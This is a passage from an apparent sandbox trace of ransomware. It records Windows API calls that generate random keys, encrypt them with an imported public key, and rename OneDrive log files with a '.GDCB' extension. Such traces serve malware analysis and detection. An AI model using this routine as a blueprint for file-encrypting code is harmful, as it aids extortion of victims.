hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x10de, lpOverlapped=0x0) returned 1 [0220.348] VirtualAlloc (lpAddress=0x0, dwSize=0x10e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.370] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-12_164130_2e0-2c8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-12_164130_2e0-2c8.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-12_164130_2e0-2c8.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-12_164130_2e0-2c8.log.gdcb")) returned 1 [0220.391] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.393] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.394] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.394] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.394] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.396] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.397] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.397] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.397] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.397] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.399] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6485100) returned 1 [0220.399] CryptGetKeyParam (in: hKey=0x6485100, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.399] CryptEncrypt (in: hKey=0x6485100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.399] GetLastError () returned 0x0 [0220.399] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.399] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.401] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6485840) returned 1 [0220.401] CryptGetKeyParam (in: hKey=0x6485840, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.401] CryptEncrypt (in: hKey=0x6485840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.401] GetLastError () returned 0x0 [0220.401] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.401] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-13_111425_fe4-f74.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-13_111425_fe4-f74.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.403] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.405] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.406] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x7d4, lpOverlapped=0x0) returned 1 [0220.425] VirtualAlloc (lpAddress=0x0, dwSize=0x7e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.430] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-13_111425_fe4-f74.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-13_111425_fe4-f74.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-13_111425_fe4-f74.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-13_111425_fe4-f74.log.gdcb")) returned 1 [0220.433] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.436] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.436] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.436] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.437] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.438] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.439] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.439] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.439] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.439] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.441] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6485440) returned 1 [0220.441] CryptGetKeyParam (in: hKey=0x6485440, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.441] CryptEncrypt (in: hKey=0x6485440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.441] GetLastError () returned 0x0 [0220.441] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.441] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0220.443] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6485480) returned 1 [0220.443] CryptGetKeyParam (in: hKey=0x6485480, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.443] CryptEncrypt (in: hKey=0x6485480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.443] GetLastError () returned 0x0 [0220.443] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.443] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-14_075507_d98-d94.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-14_075507_d98-d94.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.445] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.446] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.448] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x7d6, lpOverlapped=0x0) returned 1 [0220.476] VirtualAlloc (lpAddress=0x0, dwSize=0x7e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.480] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-14_075507_d98-d94.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-14_075507_d98-d94.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-14_075507_d98-d94.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-14_075507_d98-d94.log.gdcb")) returned 1 [0220.484] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.486] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.487] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.487] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.487] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.487] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.488] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.489] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.489] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.489] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0220.491] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64854c0) returned 1 [0220.491] CryptGetKeyParam (in: hKey=0x64854c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.491] CryptEncrypt (in: hKey=0x64854c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.492] GetLastError () returned 0x0 [0220.492] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.492] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.493] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64856c0) returned 1 [0220.493] CryptGetKeyParam (in: hKey=0x64856c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.493] CryptEncrypt (in: hKey=0x64856c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.494] GetLastError () returned 0x0 [0220.494] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.494] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-19_092447_b70-3a8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-19_092447_b70-3a8.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.495] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.497] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.498] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x7d6, lpOverlapped=0x0) returned 1 [0220.529] VirtualAlloc (lpAddress=0x0, dwSize=0x7e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.534] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-19_092447_b70-3a8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-19_092447_b70-3a8.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-19_092447_b70-3a8.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-19_092447_b70-3a8.log.gdcb")) returned 1 [0220.538] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.540] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.541] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.541] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.541] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.541] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.543] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.544] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.544] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.544] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.544] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0220.546] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6485080) returned 1 [0220.546] CryptGetKeyParam (in: hKey=0x6485080, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.546] CryptEncrypt (in: hKey=0x6485080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.546] GetLastError () returned 0x0 [0220.546] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.546] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.548] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64850c0) returned 1 [0220.548] CryptGetKeyParam (in: hKey=0x64850c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.548] CryptEncrypt (in: hKey=0x64850c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.548] GetLastError () returned 0x0 [0220.548] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.548] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-21_115555_e74-e78.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-21_115555_e74-e78.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.550] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.551] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.552] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x7d6, lpOverlapped=0x0) returned 1 [0220.661] VirtualAlloc (lpAddress=0x0, dwSize=0x7e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.666] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-21_115555_e74-e78.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-21_115555_e74-e78.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-21_115555_e74-e78.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-21_115555_e74-e78.log.gdcb")) returned 1 [0220.671] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0220.673] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.674] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.674] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.674] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.674] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.676] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.677] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.677] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0220.679] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6485280) returned 1 [0220.679] CryptGetKeyParam (in: hKey=0x6485280, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.679] CryptEncrypt (in: hKey=0x6485280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.679] GetLastError () returned 0x0 [0220.679] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0220.679] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.681] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6485540) returned 1 [0220.681] CryptGetKeyParam (in: hKey=0x6485540, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.681] CryptEncrypt (in: hKey=0x6485540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.682] GetLastError () returned 0x0 [0220.682] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.682] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-11-10_161047_cc8-42c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-11-10_161047_cc8-42c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.683] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.685] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.686] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x10ce, lpOverlapped=0x0) returned 1 [0220.697] VirtualAlloc (lpAddress=0x0, dwSize=0x10d0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.702] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-11-10_161047_cc8-42c.log" (normalized: "c:\\documents and 